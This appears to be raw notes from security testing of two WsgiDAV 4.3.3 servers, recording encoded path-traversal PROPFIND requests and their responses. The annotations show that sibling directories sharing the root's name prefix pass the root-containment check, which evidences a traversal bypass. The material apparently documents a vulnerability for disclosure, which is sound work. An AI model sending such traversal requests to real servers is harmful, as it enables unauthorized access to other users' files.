### Banner (unauth 401 challenge + version footer) HTTP/2 401 server: gunicorn HTTP/2 404 server: gunicorn WsgiDAV/4.3.3 - 2026-09-25 06:55:25.429083 ### Server A (account mehdik5100a, WebDAV root = /home/mehdik5100a) PROPFIND /..%2f -> 500 BLOCKED outside root: /home [one level up -> /home (true escape, blocked)] PROPFIND /..%2f..%2f -> 500 BLOCKED outside root: / [two levels up -> / (blocked)] PROPFIND /..%2fmehdik5100a/www/ -> 207 404 404 Not Found [sibling sharing root string-prefix -> passes check, 404 not 500] ### Server B (account mehdik5100, WebDAV root = /home/mehdik5100) — independent backend, same bug PROPFIND /..%2f -> 500 BLOCKED outside root: /home [-> /home (blocked)] PROPFIND /..%2fmehdik5100ZZZ/ -> 404 404 Not Found [sibling sharing prefix -> passes check, 404 not 500]